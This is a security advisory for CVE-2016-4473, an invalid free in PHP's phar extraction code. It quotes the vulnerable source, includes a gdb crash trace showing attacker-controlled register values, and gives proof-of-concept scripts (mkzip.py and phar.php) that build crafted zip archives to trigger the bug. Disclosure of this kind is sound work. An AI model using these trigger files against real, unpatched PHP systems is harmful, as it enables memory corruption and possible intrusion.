CVE-2016-4473: php: invalid free in phar_extract_file()
Jul 21, 2016An invalid free (assigned CVE-2016-4473) may occur under certain conditions when processing phar-compatible archives in php 5.6.22, 7.0.7 and git head:
php-7.0.7/ext/phar/phar_object.c
4063 static int phar_extract_file(zend_bool overwrite, phar_entry_info *entry, char *dest, int dest_len, char **error) /* { { { */
4064 {
....
4071 cwd_state new_state;
....
4084 new_state.cwd = (char*)emalloc(2); // (1)
4085 new_state.cwd[0] = DEFAULT_SLASH;
4086 new_state.cwd[1] = '\0';
4087 new_state.cwd_length = 1;
4088 if (virtual_file_ex(&new_state, entry->filename, NULL, CWD_EXPAND) != 0 ||
4089 new_state.cwd_length <= 1) {
....
4099 }
....
4163
4164 if (FAILURE == php_stream_stat_path(fullpath, &ssb)) {
4165 if (entry->is_dir) {
4166 if (!php_stream_mkdir(fullpath, entry->flags & PHAR_ENT_PERM_MASK, PHP_STREAM_MKDIR_RECURSIVE, NULL)) { // (2)
....
4169 free(new_state.cwd); // (3)
....
4171 }
4172 } else {
4173 if (!php_stream_mkdir(fullpath, 0777, PHP_STREAM_MKDIR_RECURSIVE, NULL)) { // (4)
....
4176 free(new_state.cwd); // (5)
....
4178 }
4179 }
4180 }
....
4246 }
new_state.cwd
is initially allocated through the internal zend
allocator in (1) and is later reallocated as the file path is resolved
in virtual_file_ex
:
php-7.0.7/Zend/zend_virtual_cwd.c
1178 CWD_API int virtual_file_ex(cwd_state *state, const char *path, verify_path_func verify_path, int use_realpath) /* { { { */
1179 {
....
1336 if (verify_path) {
....
1342 tmp = erealloc(state->cwd, state->cwd_length+1);
....
1349 state->cwd = (char *) tmp;
1350
1351 memcpy(state->cwd, resolved_path, state->cwd_length+1);
....
1360 } else {
....
1362 tmp = erealloc(state->cwd, state->cwd_length+1);
....
1369 state->cwd = (char *) tmp;
1370
1371 memcpy(state->cwd, resolved_path, state->cwd_length+1);
....
1373 }
....
1379 }
However, should php_stream_mkdir
fail in (2) or (4), cwd
is freed by
the underlying libc allocator in (3) or (5).
On FreeBSD (ie. jemalloc) with mkdir() failing due to a directory already existing as a regular file:
$ python mkzip.py
$ gdb711 --args php phar.php out/ 1.zip 2.zip
(gdb) r
Starting program: /usr/home/php/php/bin/php phar.php out/ 1.zip 2.zip
Warning: PharData::extractTo(): Not a directory in /usr/home/php/phar.php on line 14
Program received signal SIGBUS, Bus error.
0x00000008025bde2c in __jemalloc_arena_dalloc_bin_locked (arena=<optimized out>, chunk=<optimized out>, ptr=<optimized out>, mapelm=<optimized out>) at jemalloc_arena.c:1717
1717 bin->stats.allocated -= size;
(gdb) bt
#0 0x00000008025bde2c in __jemalloc_arena_dalloc_bin_locked (arena=<optimized out>, chunk=<optimized out>, ptr=<optimized out>, mapelm=<optimized out>) at jemalloc_arena.c:1717
#1 0x00000008025be1cf in __jemalloc_arena_dalloc_bin (chunk=<optimized out>, pageind=<optimized out>, mapelm=<optimized out>, arena=<optimized out>, chunk=<optimized out>, ptr=<optimized out>, pageind=<optimized out>, mapelm=<optimized out>) at jemalloc_arena.c:1733
#2 __jemalloc_arena_dalloc_small (arena=0x4343434343434341, chunk=0x803800000, ptr=0x0, pageind=<optimized out>) at jemalloc_arena.c:1749
#3 0x00000008025c99c5 in __jemalloc_arena_dalloc (arena=<optimized out>, chunk=<optimized out>, ptr=<optimized out>, try_tcache=<optimized out>, arena=<optimized out>, chunk=<optimized out>, ptr=<optimized out>, try_tcache=<optimized out>) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/arena.h:1005
#4 __jemalloc_idallocx (ptr=<optimized out>, try_tcache=<optimized out>, ptr=<optimized out>, try_tcache=<optimized out>) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:913
#5 __jemalloc_iqallocx (ptr=<optimized out>, try_tcache=<optimized out>, ptr=<optimized out>, try_tcache=<optimized out>) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:932
#6 __jemalloc_iqalloc (ptr=<optimized out>) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:939
#7 __free (ptr=0x803879060) at jemalloc_jemalloc.c:1277
#8 0x0000000000762b93 in phar_extract_file (overwrite=0 '\000', entry=0x803870540, dest=0x803861018 "out/", dest_len=4, error=0x7fffffffc188) at /home/php/php-7.0.7/ext/phar/phar_object.c:4176
#9 0x0000000000762455 in zim_Phar_extractTo (execute_data=0x803813250, return_value=0x8038131f0) at /home/php/php-7.0.7/ext/phar/phar_object.c:4373
#10 0x0000000000b19529 in ZEND_DO_FCALL_SPEC_HANDLER (execute_data=0x803813030) at Zend/zend_vm_execute.h:842
#11 0x0000000000ad22a4 in execute_ex (ex=0x803813030) at Zend/zend_vm_execute.h:417
#12 0x0000000000ad2da5 in zend_execute (op_array=0x80387b000, return_value=0x0) at Zend/zend_vm_execute.h:458
#13 0x0000000000a28609 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/php/php-7.0.7/Zend/zend.c:1427
#14 0x0000000000951045 in php_execute_script (primary_file=0x7fffffffe868) at /home/php/php-7.0.7/main/main.c:2494
#15 0x0000000000c07896 in do_cli (argc=5, argv=0x7fffffffeb48) at /home/php/php-7.0.7/sapi/cli/php_cli.c:974
#16 0x0000000000c06419 in main (argc=5, argv=0x7fffffffeb48) at /home/php/php-7.0.7/sapi/cli/php_cli.c:1344
(gdb) x/i $rip
=> 0x8025bde2c <__jemalloc_arena_dalloc_bin_locked+556 at jemalloc_arena.c:1717>:sub QWORD PTR [rbx+0x38],rax
(gdb) i r
rax 0x8 8
rbx 0x4141414141414141 4702111234474983745
rcx 0x42424243 1111638595
rdx 0x0 0
rsi 0x4343434343434343 4846791580151137091
rdi 0x4343434343434341 4846791580151137089
rbp 0x7fffffffbd70 0x7fffffffbd70
rsp 0x7fffffffbd20 0x7fffffffbd20
r8 0x0 0
r9 0x0 0
r10 0x803879010 34418954256
r11 0x8028c12b0 34402472624
r12 0x0 0
r13 0x803879000 34418954240
r14 0x8028adf44 34402393924
r15 0x8028c1250 34402472528
rip 0x8025bde2c 0x8025bde2c <__jemalloc_arena_dalloc_bin_locked+556 at jemalloc_arena.c:1717>
eflags 0x10206 [ PF IF RF ]
cs 0x43 67
ss 0x3b 59
ds <unavailable>
es <unavailable>
fs <unavailable>
gs <unavailable>
(gdb)
mkzip.py
#!/usr/bin/python
import zipfile
fname = "AAAAAAAAxxxxBBBBCCCCCCCCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
with zipfile.ZipFile("1.zip", "w") as z:
z.writestr(fname, "")
with zipfile.ZipFile("2.zip", "w") as z:
z.writestr("%s/b/c" % fname, "")
phar.php
<?php
if ($argc < 3) {
echo "ERROR: $argv[0] dst src\n";
exit(1);
}
if (is_dir($argv[1]) !== TRUE) {
mkdir($argv[1]) or die("aborting...\n");
}
for ($i = 2; $i < $argc; $i++) {
try {
$phar = new PharData($argv[$i]);
$phar->extractTo($argv[1]);
} catch (Exception $e) {
echo "NOTE: " . $e->getMessage() . "\n";
}
}
?>